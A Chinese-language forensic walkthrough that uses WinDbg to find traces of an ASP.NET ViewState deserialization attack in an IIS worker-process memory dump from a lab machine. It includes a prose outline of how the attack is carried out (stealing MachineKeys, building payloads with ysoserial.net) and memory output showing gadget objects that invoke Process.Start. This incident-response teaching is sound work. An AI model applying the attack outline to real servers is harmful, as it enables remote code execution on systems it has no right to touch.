![调试案例研究:ViewState 反序列化利用 调试案例研究:ViewState 反序列化利用](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/7-1719720500.gif)
描述
TLDR:感谢@0xdf_提供此内存转储。本文基于从https://0xdf.gitlab.io/2024/06/08/htb-pov.html搜寻工件,但纯粹是从内存转储的角度。
本文中使用了以下 WinDbg 扩展:
MEX:https://www.microsoft.com/en-us/download/details.aspx?id =53304
SOSEX:https://github.com/DebugPrivilege/Debugging/blob/main/Debugging%20Case%20Studies/Extensions/sosex.dll
NETIOEXT:https: //github.com/rodneyviana/netext/releases/tag/2.1.65.5000
内存转储可以在此处下载:
https://mega.nz/file/ftEE0RAS#KmoXnmXr3mRGADsrMtX56FwdDv1nAz36l7lvQuS6KB0
ViewState 在高层是如何工作的?
ViewState 是 ASP.NET Web 应用程序用来在回发之间维护 Web 控件状态的一种机制。当用户与网页交互时会发生回发,这会导致服务器处理输入并使用更新的信息刷新页面。
由于 HTTP 是一种无状态协议,因此在这些回发过程中维护文本框和其他表单元素等 Web 控件的状态对于提供无缝的用户体验非常重要。ViewState 通过将状态信息存储在客户端来满足这一需求。
-
当网页发送到客户端浏览器时,ASP.NET 会将页面控件的状态序列化为 Base64 编码的字符串。此字符串表示需要维护的状态信息。这就是我们所说的序列化。
-
序列化状态存储在页面 HTML 中的隐藏字段中,通常名为__VIEWSTATE。此隐藏字段包含在回发期间提交回服务器的表单数据中。
-
当接收到回发请求时,服务器__VIEWSTATE从表单数据中提取值并反序列化,以将页面控件的状态恢复为之前的值。
什么是 ViewState 反序列化攻击?
ViewState 反序列化攻击涉及ASP.NET应用程序,利用序列化和反序列化过程中处理 ViewState 的方式。该攻击针对ASP.NET用于在回发之间维护 Web 控件状态的机制,通过操纵ViewState来包含恶意数据,这可能导致远程代码执行。
为了成功执行ViewState反序列化攻击,需要满足以下几个要求:
-
攻击者需要捕获客户端和服务器之间的 HTTP 流量来拦截 ViewState 数据。例如,可以使用Burpsuite之类的工具来完成此操作。
-
默认情况下,ASP.NET 使用 MAC 保护 ViewState 以确保其完整性。MAC 是一种加密哈希,可确保数据未被篡改。攻击者需要了解 MAC 保护,因为它是防止 ViewState 篡改的主要防御机制。
-
攻击者需要获取 MachineKeys 才能制作恶意的ViewState。用于 MAC 和加密的密钥存储在web.config文件中。
-
最后,最后一步涉及使用ysoserial.net等工具制作恶意负载,重新编码ViewState,并通过精心设计的 HTTP 请求将其发送回服务器。
以下是恶意 ViewState 的示例:
这不是一种未知的技术,但也不是我们经常听到的最流行的技术。例如,Mandiant 报告称,APT41过去曾利用过这种技术:
为什么我们需要内存转储?
IIS 日志不足以确定是否发生了 ViewState 反序列化攻击,因为 POST 请求不包含 ViewState 数据。
WinDbg 演练 – 分析
这里我们对w3wp.exe进程进行了内存转储:
一旦我们有了内存转储,就将其加载到 WinDbg 中:
让我们从!mex.di代表转储信息的命令开始。此命令检索有关内存转储来源机器的信息。它在处理多个内存转储时特别方便,因为它有助于区分与每个特定转储相关的分析。这是该vertarget命令的改进版本。
0:000> !mex.di
Computer Name: POV
User Name: POV$
PID: 0x12F8 = 0n4856
Windows 10 Version 17763 MP (2 procs) Free x64
Product: Server, suite: TerminalServer SingleUserTS
Edition build lab: 17763.1.amd64fre.rs5_release.180914-1434
Debug session time: Sun Jun 9 20:35:57.000 2024 (UTC + 1:00)
System Uptime: 0 days 0:08:29.103
Process Uptime: 0 days 0:07:25.000
Kernel time: 0 days 0:00:00.000
User time: 0 days 0:00:00.000
该!mex.p命令将向我们显示当前进程及其关联的 PID,等等。
0:000> !mex.p
Name Ses PID PEB Mods Handle Thrd
======== === ============= ================ ==== ====== ====
w3wp.exe 0 12f8 (0n4856) 00000090f6789000 198 603 23
CommandLine: c:windowssystem32inetsrvw3wp.exe -ap "dev" -v "v4.0" -l "webengine4.dll" -a \.pipeiisipm0a901293-c23c-496e-8e63-240de398b772 -h "C:inetpubtempapppoolsdevdev.config" -w "" -m 0 -t 20 -ta 0
Last event: 12f8.12fc: Break instruction exception - code 80000003 (first/second chance not available)
Show Threads: Unique Stacks !listthreads (!lt) ~*kv
NETEXT扩展增强了使用 .NET 框架的应用程序的调试功能。它提供了广泛的命令,使我们能够在调试会话期间检查和操作 .NET 应用程序的各个方面。
0:000> !netext.help
Commands for C:UsersAdminAppDataLocalDbgEngineExtensionsnetext.dll:
!help - Displays information on available extension commands
!regmatch - Find and print lines matching the pattern
Usage: !regmatch [-case] [-flavor (basic | extended |
ecmascript | awk | grep | egrep)] [-not] '<pattern>'
'<execute-pattern>' << <command-list>
Where:
-case is the switch for case sensitiviness. If present
search is case sensitive (default is case insensitive)
-flavor is the flavor of the T1 Regex. See
http://msdn.microsoft.com/en-us/library/bb982727.aspx
<pattern> is the regex pattern. See examples here:
http://msdn.microsoft.com/en-us/library/ms972966.aspx
Examples:
Dump all stack object
!regmatch -run '(^[0-9a-fA-F]+)s+([0-9a-fA-F]+)s'
"!do $2" << !dso
!regsearch - Find and print lines matching the pattern
Usage: !regsearch [-case] [-flavor (basic | extended |
ecmascript | awk | grep | egrep)] [-not] <pattern>
<command-list>
Where:
-case is the switch for case sensitiviness. If present
search is case sensitive (default is case insensitive)
-flavor is the flavor of the T1 Regex. See
http://msdn.microsoft.com/en-us/library/bb982727.aspx
<pattern> is the regex pattern. See examples here:
http://msdn.microsoft.com/en-us/library/ms972966.aspx
Examples:
Lists only stack objects containing httpcontext
!regseach httpcontext !dso
!wapppool - Display the Application Pool details
!wclass - Dump Class Layout. Use '!whelp wclass' for detailed help
!wclrstack - Dump current stack trace. Use !whelp wclrstack for more
help
!wconcurrentdict - Dump ConcurrentDictionary. Use '!whelp wconcurrentdict'
for detailed help
!wconfig - Dump Config file lines in memory. Use '!whelp wconfig'
for detailed help
!wcookie - Dump all cookies for all context, a single context or
matching a cookie filter criteria. Use '!whelp wcookie'
for detailed help
!wdae - Dump All Exceptions. Use '!whelp wdae' for detailed help
!wdict - Dump Dictionary. Use '!whelp wdict' for detailed help
!wdo - Dump object. Use '!whelp wdo' for detailed help
!wdomain - Dump Application Domains. Use '!whelp wdomain' for
detailed help
!weval - Evaluate ad-hoc commands separated by commas. Use
'!whelp weval' for detailed help
!wfrom - Dump object fields from Address, Stack or GAC. Use
'!whelp wfrom' for detailed help
!wgchandle - Dump GC Handles. Use '!whelp wgchandle' for detailed
help
!whash - Dump Hash Table. Use '!whelp whash' for detailed help
!wheap - Dump heap objects. Use '!whelp wheap' for detailed help
!whelp - Provide hyper-text help
!whttp - Dump HttpContext. Use '!whelp whttp' for detailed help
!widnauls - Command to list ULS position and tag and can be filtered
by message or category
!windex - Index and dump heap. Use '!whelp windex' for detailed
help
!wk - Dump current stack trace in mixed mode (native/managed).
Use !whelp wk for more help
!wkeyvalue - Dump NameObjectCollection types. Use '!whelp wkeyvalue'
for detailed help
!wmakesource - It tries to reflect the current frame into source code.
Use '!whelp wmakesource' for detailed help
!wmodule - Dump all modules in process which can be filtered by
name, company, debug mode, etc. Use '!whelp wmodule' for
detailed help
!wopendownloadpage - Check latest version and open download page if there is
an update
!wopensource - Open the managed source code based on IP. Use '!whelp
wopensource' for detailed help
!wp - Step-out managed code (like F10 in Visual Studio)
!wpe - Dump Exception Object. Use '!whelp wpe' for detailed
help
!wruntime - Dump Http Runtime information as Active Requests and App
Domain Id
!wselect - Dump object fields from Address, Stack or GAC. Use
'!whelp wselect' for detailed help
!wservice - Dump WCF Services. Use '!whelp wservice' for detailed
help
!wsetruntime - Dump object. Use '!whelp wsetruntime' for detailed help
!wsocket - Dump a single socket or a summary of all sockets. Use
'!whelp wsocket' for detailed help
!wsql - Dump all sql commands, a single sql command or commands
matching a cookie filter criteria. Use '!whelp wsql' for
detailed help
!wstack - Dump stack objects. Use '!whelp wstack' for detailed
help
!wt - Step-into managed code (like F11 in Visual Studio)
!wthreads - Dump Managed Threads. Use '!whelp wthreads' for detailed
help
!wtime - Show UTC and local time. Use '!whelp wtime' for detailed
help
!wtoken - Dump all security tokens or matching a token filter
criteria. Use '!whelp wtoken' for detailed help
!wupdate - Try to open download page in default browser
!wvar - Dump Environment Variables. Use '!whelp wvar' for
detailed help
!wver - Load .NET and display its version
!wxml - Dump XML Document or XML Node. Use '!whelp wkeyvalue'
for detailed help
!help <cmd> will give more information for a particular command
该命令的输出!netext.wapppool提供了有关 IIS 应用程序池的详细信息。这指定了应用程序池的名称。
0:000> !netext.wapppool
AppPool Name : dev
AppPool .NET Version : v4.0
IIS Version : 10.0.1.17763
Full Command Line : c:windowssystem32inetsrvw3wp.exe -ap "dev" -v "v4.0" -l "webengine4.dll" -a \.pipeiisipm0a901293-c23c-496e-8e63-240de398b772 -h "C:inetpubtempapppoolsdevdev.config" -w "" -m 0 -t 20 -ta 0
Process Account : WORKGROUPPOV$
Machine Name : POV
Domain Name : WORKGROUP
该命令的输出!netext.wfrom提供了有关正在处理的各种 HTTP 请求的信息。!netext.wfrom允许我们查询和显示内存中 .NET 对象的数据。通过选择特定字段并对其进行格式化,它可以清晰地概述关键请求属性,例如 URL、方法、状态代码、时间戳和执行线程。
0:000> !netext.wfrom -nospace -nofield -type *.HttpContext select $rpad($addr(),10), " ", $if(!_thread, " --", $lpad($thread(_thread.DONT_USE_InternalThread),4)), " ", $tickstodatetime(_utcTimestamp.dateData), " ", $if((_timeoutSet==1),$tickstotimespan(_timeout._ticks), "Not set "), " ", $if(_response._completed || _finishPipelineRequestCalled,"Finished", $tickstotimespan($now()-_utcTimestamp.dateData)), " ", $replace($lpad(_response._statusCode,8), "0n","")," ", $rpad($isnull(_request._httpMethod,"NA"),8), " ", $isnull(_request._url.m_String, _request._filePath._virtualPath)
0000020DA7066288 -- 6/9/2024 7:28:33 PM 00:00:00 Finished 302 GET /
0000020DA707B688 -- 6/9/2024 7:28:33 PM 00:00:00 Finished 200 GET /portfolio/
0000020DA70834C0 -- 6/9/2024 7:28:33 PM 00:00:00 Finished 200 GET /portfolio/default.aspx
0000020DA7417B88 -- 6/9/2024 7:29:02 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA74182E0 -- 6/9/2024 7:28:39 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA741BFA8 -- 6/9/2024 7:28:39 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA7431C68 -- 6/9/2024 7:28:55 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA7435768 -- 6/9/2024 7:29:02 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020DA7449EF8 -- 6/9/2024 7:29:14 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA744D0A0 -- 6/9/2024 7:29:14 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA7465CE8 -- 6/9/2024 7:29:26 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA746D8A0 -- 6/9/2024 7:29:26 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA7482178 -- 6/9/2024 7:29:50 PM 00:00:00 Finished 200 GET /portfolio/contact.aspx
0000020DA7496C60 -- 6/9/2024 7:30:08 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA749A6D8 -- 6/9/2024 7:30:08 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA74B63E0 -- 6/9/2024 7:30:40 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA74BA870 -- 6/9/2024 7:30:40 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA74D2F70 -- 6/9/2024 7:31:13 PM 00:00:00 Finished 200 POST /portfolio/
0000020DA74D6168 -- 6/9/2024 7:31:13 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020EA6E37760 -- 6/9/2024 7:28:33 PM 00:00:00 00:07:23 200 NA /
0000020EA6E79750 -- 6/9/2024 7:28:55 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020EA6EAB088 -- 6/9/2024 7:29:18 PM 00:00:00 Finished 200 POST /portfolio/
0000020EA6EB2A98 -- 6/9/2024 7:29:18 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6EC0138 -- 6/9/2024 7:30:16 PM 00:00:00 Finished 200 POST /portfolio/
0000020EA6EC32E0 -- 6/9/2024 7:30:16 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6ED47B0 -- 6/9/2024 7:30:54 PM 00:00:00 Finished 200 POST /portfolio/
0000020EA6ED8160 -- 6/9/2024 7:30:54 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6EE9D80 -- 6/9/2024 7:31:49 PM 00:00:00 Finished 200 POST /portfolio/
0000020EA6EF18F0 -- 6/9/2024 7:31:49 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
为了分析与 ViewState 攻击相关的POST请求,让我们重点关注对处理 ViewState 数据的页面(例如default.aspx )发出的POST请求。为了减少控制台中的结果数量,我们将使用过滤器筛选对default.aspx页面发出的 POST 请求。!mex.grep
0:000> !mex.grep -r /portfolio/default.aspx !netext.wfrom -nospace -nofield -type *.HttpContext select $rpad($addr(),10), " ", $if(!_thread, " --", $lpad($thread(_thread.DONT_USE_InternalThread),4)), " ", $tickstodatetime(_utcTimestamp.dateData), " ", $if((_timeoutSet==1),$tickstotimespan(_timeout._ticks), "Not set "), " ", $if(_response._completed || _finishPipelineRequestCalled,"Finished", $tickstotimespan($now()-_utcTimestamp.dateData)), " ", $replace($lpad(_response._statusCode,8), "0n","")," ", $rpad($isnull(_request._httpMethod,"NA"),8), " ", $isnull(_request._url.m_String, _request._filePath._virtualPath)
0000020DA70834C0 -- 6/9/2024 7:28:33 PM 00:00:00 Finished 200 GET /portfolio/default.aspx
0000020DA741BFA8 -- 6/9/2024 7:28:39 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA7435768 -- 6/9/2024 7:29:02 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020DA744D0A0 -- 6/9/2024 7:29:14 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA746D8A0 -- 6/9/2024 7:29:26 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA749A6D8 -- 6/9/2024 7:30:08 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA74BA870 -- 6/9/2024 7:30:40 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA74D6168 -- 6/9/2024 7:31:13 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020EA6E79750 -- 6/9/2024 7:28:55 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020EA6EB2A98 -- 6/9/2024 7:29:18 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6EC32E0 -- 6/9/2024 7:30:16 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6ED8160 -- 6/9/2024 7:30:54 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6EF18F0 -- 6/9/2024 7:31:49 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
该命令显示内存地址处!Mex.DisplayObj
特定对象的属性和状态。此命令正在检查 ASP.NET HTTP 上下文对象的内部状态,并显示我们可以进一步检查的各种字段。System.Web.HttpContext
0000020DA741BFA8
0:000> !mex.DisplayObj 0000020DA741BFA8
0x0000020da741bfa8 System.Web.HttpContext
[statics]
0000 _asyncAppHandler : NULL
0008 _appInstance : NULL
0010 _handler : NULL
0018 _request : 0000020da741c168 (System.Web.HttpRequest)
0020 _response : 0000020da741c2f0 (System.Web.HttpResponse)
0028 _server : NULL
0030 _traceContextStack : NULL
0038 _topTraceContext : NULL
0040 _items : NULL
0048 _errors : NULL
0050 _tempError : NULL
0058 _principalContainer : 0000020da741c4c8 (System.Web.RootedObjects)
0060 _Profile : NULL
0068 _wr : 0000020da741bc68 (System.Web.Hosting.IIS7WorkerRequest)
0070 _configurationPath : NULL
0078 _dynamicCulture : 0000020da6ea5450 (System.Globalization.CultureInfo)
0080 _dynamicUICulture : 0000020da6ea5450 (System.Globalization.CultureInfo)
0088 _handlerStack : NULL
0090 _pageInstrumentationService : NULL
0098 _webSocketRequestedProtocols : NULL
00a0 _timeoutCancellationTokenHelper : 0000020da707b130 (System.Web.Util.CancellationTokenHelper)
00a8 _timeoutLink : NULL
00b0 _thread : NULL
00b8 _configurationPathData : NULL
00c0 _filePathData : 0000020da708af20 (System.Web.CachedPathData)
00c8 _sqlDependencyCookie : NULL
00d0 _sessionStateModule : NULL
00d8 _templateControl : NULL
00e0 _notificationContext : NULL
00e8 IndicateCompletionContext : NULL
00f0 ThreadInsideIndicateCompletion : NULL
00f8 ThreadContextId : 0000020da741c150 (System.Object)
0100 _syncContext : NULL
0108 _threadWhichStartedWebSocketTransition : NULL
0110 _webSocketNegotiatedProtocol : NULL
0118 _remapHandler : NULL
0120 _currentHandler : NULL
0128 <System.Web.IPrincipalContainer.Principal>k__BackingField : NULL
0130 _rootedObjects : 0000020da741c4c8 (System.Web.RootedObjects)
0138 _CookielessHelper : 0000020da741c448 (System.Web.Security.CookielessHelperClass)
0140 _timeoutStartTimeUtcTicks : 638535581194279581 (System.Int64)
0148 _timeoutTicks : 1100000000 (System.Int64)
0150 _rootedPtr : 0000000000000000 (System.IntPtr)
0158 _asyncPreloadModeFlags : None (0) (System.Web.Configuration.AsyncPreloadModeFlags)
015c _serverExecuteDepth : 0 (System.Int32)
0160 _timeoutState : 0 (System.Int32)
0164 <SessionStateBehavior>k__BackingField : Default (0) (System.Web.SessionState.SessionStateBehavior)
0168 _asyncPreloadModeFlagsSet : True (System.Boolean)
0169 _errorCleared : False (System.Boolean)
016a _skipAuthorization : False (System.Boolean)
016b _preventPostback : False (System.Boolean)
016c _runtimeErrorReported : False (System.Boolean)
016d _threadAbortOnTimeout : True (System.Boolean)
016e _delayedSessionState : False (System.Boolean)
016f _isAppInitialized : True (System.Boolean)
0170 _isIntegratedPipeline : True (System.Boolean)
0171 _finishPipelineRequestCalled : True (System.Boolean)
0172 _impersonationEnabled : False (System.Boolean)
0173 HideRequestResponse : False (System.Boolean)
0174 InIndicateCompletion : False (System.Boolean)
0175 _webSocketTransitionState : Inactive (0) (System.Web.WebSocketTransitionState)
0176 <FirstRequest>k__BackingField : False (System.Boolean)
0177 _requiresSessionStateFromHandler : True (System.Boolean)
0178 _readOnlySessionStateFromHandler : False (System.Boolean)
0179 InAspCompatMode : False (System.Boolean)
017a <DisableCustomHttpEncoder>k__BackingField : False (System.Boolean)
017b _ProfileDelayLoad : True (System.Boolean)
0180 _utcTimestamp : 0000020da741c130 6/9/2024 7:28:39 PM (System.DateTime)
0188 _requestCompletedQueue : 0000020da741c138 (System.Web.Util.SubscriptionQueue<System.Action<System.Web.HttpContext>>)
0190 _pipelineCompletedQueue : 0000020da741c140 (System.Web.Util.SubscriptionQueue<System.IDisposable>)
System.Web.HttpRequest
是 .NET 中的一个类,用于访问从客户端到服务器的HTTP 请求System.Web
数据。此类是命名空间的一部分,主要用于 ASP.NET 应用程序中处理传入的 HTTP 请求。此输出包括有关 HTTP 方法、路径、查询字符串、内容类型、表单数据、编码、内容长度以及与 HTTP 请求相关的其他属性的信息。0:000> !mex.DisplayObj 0x0000020da741c168
0x0000020da741c168 System.Web.HttpRequest
[statics]
0000 _wr : 0000020da741bc68 (System.Web.Hosting.IIS7WorkerRequest)
0008 _context : 0000020da741bfa8 (System.Web.HttpContext)
0010 _httpMethod : 0000020da741be88 "POST" [4] (System.String)
0018 _requestType : NULL
0020 _path : 0000020da741d398 (System.Web.VirtualPath)
0028 _rewrittenUrl : NULL
0030 _filePath : 0000020da741c8e8 (System.Web.VirtualPath)
0038 _currentExecutionFilePath : NULL
0040 _pathInfo : NULL
0048 _queryStringText : 0000020da6d71420 "" [0] (System.String)
0050 _queryStringBytes : NULL
0058 _pathTranslated : 0000020da741be10 "C:inetpubwwwrootdevportfoliodefault..." [45] (System.String)
0060 _contentType : 0000020da7082c28 "application/x-www-form-urlencoded" [33] (System.String)
0068 _clientTarget : NULL
0070 _acceptTypes : NULL
0078 _userLanguages : NULL
0080 _browsercaps : 0000020da73ed578 (System.Web.Mobile.MobileCapabilities)
0088 _url : NULL
0090 _referrer : NULL
0098 _inputStream : NULL
00a0 _clientCertificate : NULL
00a8 _tlsTokenBindingInfo : NULL
00b0 _logonUserIdentity : NULL
00b8 _requestContext : NULL
00c0 _rawUrl : 0000020da741c470 "/portfolio/" [11] (System.String)
00c8 _readEntityBodyStream : NULL
00d0 _unvalidatedRequestValues : 0000020da74229c0 (System.Web.UnvalidatedRequestValues)
00d8 _params : NULL
00e0 _queryString : NULL
00e8 _form : 0000020da7420e60 (System.Web.HttpValueCollection)
00f0 _headers : NULL
00f8 _serverVariables : NULL
0100 _cookies : NULL
0108 _storedResponseCookies : NULL
0110 _files : NULL
0118 _rawContent : 0000020da7420fe8 (System.Web.HttpRawUploadedContent)
0120 _multipartContentElements : NULL
0128 _encoding : 0000020da6f00cf8 (System.Text.UTF8Encoding)
0130 _filterSource : NULL
0138 _installedFilter : NULL
0140 _anonymousId : NULL
0148 _clientFilePath : 0000020da741c4a0 (System.Web.VirtualPath)
0150 _clientBaseDir : NULL
0158 _httpVerb : POST (5) (System.Web.HttpVerb)
015c _contentLength : 361 (System.Int32)
0160 _readEntityBodyMode : Classic (1) (System.Web.ReadEntityBodyMode)
0164 _computePathInfo : False (System.Boolean)
0165 _queryStringOverriden : False (System.Boolean)
0166 _tlsTokenBindingInfoResolved : False (System.Boolean)
0167 _needToInsertEntityBody : True (System.Boolean)
0168 _filterApplied : False (System.Boolean)
0170 _flags : 0000020da741c2e0 (System.Web.Util.SimpleBitVector32)
_form
对象中的字段表示System.Web.HttpRequest
随 HTTP 请求提交的表单数据。此字段的类型为System.Web.HttpValueCollection
,用于存储表单数据的键值对。该字段包含以字符串编码的序列化状态信息。我们在此处看到的输出是从服务器下载名为cv.pdf__VIEWSTATE
的文件的交互。
0:000> !mex.DisplayObj 0x0000020da7420e60
[raw] 0000020da7420e60 System.Web.HttpValueCollection Entries: 6
Name Value
==================== ========================================================================================================================================
__EVENTTARGET download
__EVENTARGUMENT
__VIEWSTATE WDz1HpKP80PLhBqbPJQMHQxU+NbkhfdeQrpvGeHirzFgEb4JdmawZMAMVWDNhjDXNER2+pUJ3/zzYp8Dorzz/M8Q6sc=
__VIEWSTATEGENERATOR 8E0F0FA3
__EVENTVALIDATION PJQCREUo0khpECgXqIUAKspvizBGfLAW/qc5I85PBkb2p8lQwzO8DDS/4HqGblZJ3xC7USh9PyfG9mTKhe4E9qWnaXtQSDSBEp/g4KFMytV0fuiutV4uWhUIRpipDsIPUVUBqw==
file cv.pdf
_rawContent
对象中的字段保存System.Web.HttpRequest
请求中上传内容的原始二进制数据。它有一个_data
长度为 361 字节的字节数组,将上传的数据存储在内存中。
0:000> !mex.DisplayObj 0x0000020da7420fe8
0x0000020da7420fe8 System.Web.HttpRawUploadedContent
0000 _data : 0000020da7421020 (System.Byte[]) [Length: 361]
0008 _file : NULL
0010 _fileThreshold : 81920 (System.Int32)
0014 _expectedLength : 361 (System.Int32)
0018 _length : 361 (System.Int32)
001c _chunkOffset : 0 (System.Int32)
0020 _chunkLength : 0 (System.Int32)
0024 _completed : True (System.Boolean)
数组的内容System.Byte[]
以十六进制和 ASCII 表示形式显示。原始字节数组表示 URL 编码的表单数据。它显示了在 POST 请求中提交的表单字段和值,我们
0:000> !mex.DisplayObj 0x0000020da7421020
[raw] 0000020da7421020 System.Byte[] Length: 361
00000000 5F 5F 45 56 45 4E 54 54 41 52 47 45 54 3D 64 6F 77 6E 6C 6F 61 64 26 5F __EVENTTARGE T=download&_
00000018 5F 45 56 45 4E 54 41 52 47 55 4D 45 4E 54 3D 26 5F 5F 56 49 45 57 53 54 _EVENTARGUME NT=&__VIEWST
00000030 41 54 45 3D 57 44 7A 31 48 70 4B 50 38 30 50 4C 68 42 71 62 50 4A 51 4D ATE=WDz1HpKP 80PLhBqbPJQM
00000048 48 51 78 55 25 32 42 4E 62 6B 68 66 64 65 51 72 70 76 47 65 48 69 72 7A HQxU%2BNbkhf deQrpvGeHirz
00000060 46 67 45 62 34 4A 64 6D 61 77 5A 4D 41 4D 56 57 44 4E 68 6A 44 58 4E 45 FgEb4JdmawZM AMVWDNhjDXNE
00000078 52 32 25 32 42 70 55 4A 33 25 32 46 7A 7A 59 70 38 44 6F 72 7A 7A 25 32 R2%2BpUJ3%2F zzYp8Dorzz%2
00000090 46 4D 38 51 36 73 63 25 33 44 26 5F 5F 56 49 45 57 53 54 41 54 45 47 45 FM8Q6sc%3D&_ _VIEWSTATEGE
000000A8 4E 45 52 41 54 4F 52 3D 38 45 30 46 30 46 41 33 26 5F 5F 45 56 45 4E 54 NERATOR=8E0F 0FA3&__EVENT
000000C0 56 41 4C 49 44 41 54 49 4F 4E 3D 50 4A 51 43 52 45 55 6F 30 6B 68 70 45 VALIDATION=P JQCREUo0khpE
000000D8 43 67 58 71 49 55 41 4B 73 70 76 69 7A 42 47 66 4C 41 57 25 32 46 71 63 CgXqIUAKspvi zBGfLAW%2Fqc
000000F0 35 49 38 35 50 42 6B 62 32 70 38 6C 51 77 7A 4F 38 44 44 53 25 32 46 34 5I85PBkb2p8l QwzO8DDS%2F4
00000108 48 71 47 62 6C 5A 4A 33 78 43 37 55 53 68 39 50 79 66 47 39 6D 54 4B 68 HqGblZJ3xC7U Sh9PyfG9mTKh
00000120 65 34 45 39 71 57 6E 61 58 74 51 53 44 53 42 45 70 25 32 46 67 34 4B 46 e4E9qWnaXtQS DSBEp%2Fg4KF
00000138 4D 79 74 56 30 66 75 69 75 74 56 34 75 57 68 55 49 52 70 69 70 44 73 49 MytV0fuiutV4 uWhUIRpipDsI
00000150 50 55 56 55 42 71 77 25 33 44 25 33 44 26 66 69 6C 65 3D 63 76 2E 70 64 PUVUBqw%3D%3 D&file=cv.pd
00000168 66 f
此处的输出显示了System.Windows.Data.ObjectDataProvider
内存中两个对象的详细信息。System.Windows.Data.ObjectDataProvider
是一个允许您在XAML中创建和绑定到对象或调用对象方法的类。 如果ObjectDataProvider
配置为调用类似方法System.Diagnostics.Process.Start
,并且攻击者可以影响传递给这些方法的参数,则可能导致远程代码执行。
字段_objectInstance
用于存储已创建或提供给 使用的对象的实例ObjectDataProvider
。 此实例是ObjectDataProvider
与之交互以检索数据或执行方法的对象。
0:000> !ForEachObject -s -x "!do2 @#Obj" System.Windows.Data.ObjectDataProvider
0x0000020da7571c30 System.Windows.Data.ObjectDataProvider
0000 DataChanged : NULL
0008 PropertyChanged : NULL
0010 _data : True (System.Boolean)
0018 _error : NULL
0020 _dispatcher : 0000020da74fdc08 (System.Windows.Threading.Dispatcher)
0028 _deferLevel : 0 (System.Int32)
002c _isInitialLoadEnabled : False (System.Boolean)
002d _initialLoadCalled : True (System.Boolean)
002e _isAsynchronous : False (System.Boolean)
002f _needNewInstance : True (System.Boolean)
0030 _objectType : 0000020da75743d0 System.Diagnostics.Process (System.RuntimeType)
0038 _objectInstance : 0000020da757b090 (System.Diagnostics.Process)
0040 _methodName : 0000020da7563198 "Start" [5] (System.String)
0048 _instanceProvider : NULL
0050 _constructorParameters : 0000020da7571cf0 (MS.Internal.Data.ParameterCollection)
0058 _methodParameters : 0000020da7571d88 (MS.Internal.Data.ParameterCollection)
0060 _sourceDataChangedHandler : 0000020da7571de0 (System.EventHandler)
0068 _mode : FromInstance (2) (System.Windows.Data.ObjectDataProvider+SourceMode)
--------------------------------------------------------------------------------
0x0000020ea6f21410 System.Windows.Data.ObjectDataProvider
0000 DataChanged : NULL
0008 PropertyChanged : NULL
0010 _data : True (System.Boolean)
0018 _error : NULL
0020 _dispatcher : 0000020ea6f21490 (System.Windows.Threading.Dispatcher)
0028 _deferLevel : 0 (System.Int32)
002c _isInitialLoadEnabled : False (System.Boolean)
002d _initialLoadCalled : True (System.Boolean)
002e _isAsynchronous : False (System.Boolean)
002f _needNewInstance : True (System.Boolean)
0030 _objectType : 0000020da75743d0 System.Diagnostics.Process (System.RuntimeType)
0038 _objectInstance : 0000020ea6f23200 (System.Diagnostics.Process)
0040 _methodName : 0000020ea6f20448 "Start" [5] (System.String)
0048 _instanceProvider : NULL
0050 _constructorParameters : 0000020ea6f21fc8 (MS.Internal.Data.ParameterCollection)
0058 _methodParameters : 0000020ea6f22060 (MS.Internal.Data.ParameterCollection)
0060 _sourceDataChangedHandler : 0000020ea6f220b8 (System.EventHandler)
0068 _mode : FromInstance (2) (System.Windows.Data.ObjectDataProvider+SourceMode)
--------------------------------------------------------------------------------
2 objects found.
对象System.Diagnostics.Process
at0x0000020da757b090
表示一个进程。这是一个用于管理和与系统进程交互的类。
0:000> !mex.DisplayObj 0x0000020da757b090
0x0000020da757b090 System.Diagnostics.Process
[statics]
0000 __identity : NULL
0008 site : NULL
0010 events : NULL
0018 m_processHandle : 0000020da7594750 (Microsoft.Win32.SafeHandles.SafeProcessHandle)
0020 machineName : 0000020da7257ae8 "." [1] (System.String)
0028 processInfo : NULL
0030 threads : NULL
0038 modules : NULL
0040 mainWindowTitle : NULL
0048 startInfo : 0000020da758c3a8 (System.Diagnostics.ProcessStartInfo)
0050 onExited : NULL
0058 registeredWaitHandle : NULL
0060 waitHandle : NULL
0068 synchronizingObject : NULL
0070 standardOutput : NULL
0078 standardInput : NULL
0080 standardError : NULL
0088 operatingSystem : NULL
0090 OutputDataReceived : NULL
0098 ErrorDataReceived : NULL
00a0 output : NULL
00a8 error : NULL
00b0 mainWindowHandle : 0000000000000000 (System.IntPtr)
00b8 minWorkingSet : 0000000000000000 (System.IntPtr)
00c0 maxWorkingSet : 0000000000000000 (System.IntPtr)
00c8 processorAffinity : 0000000000000000 (System.IntPtr)
00d0 processId : 0 (System.Int32)
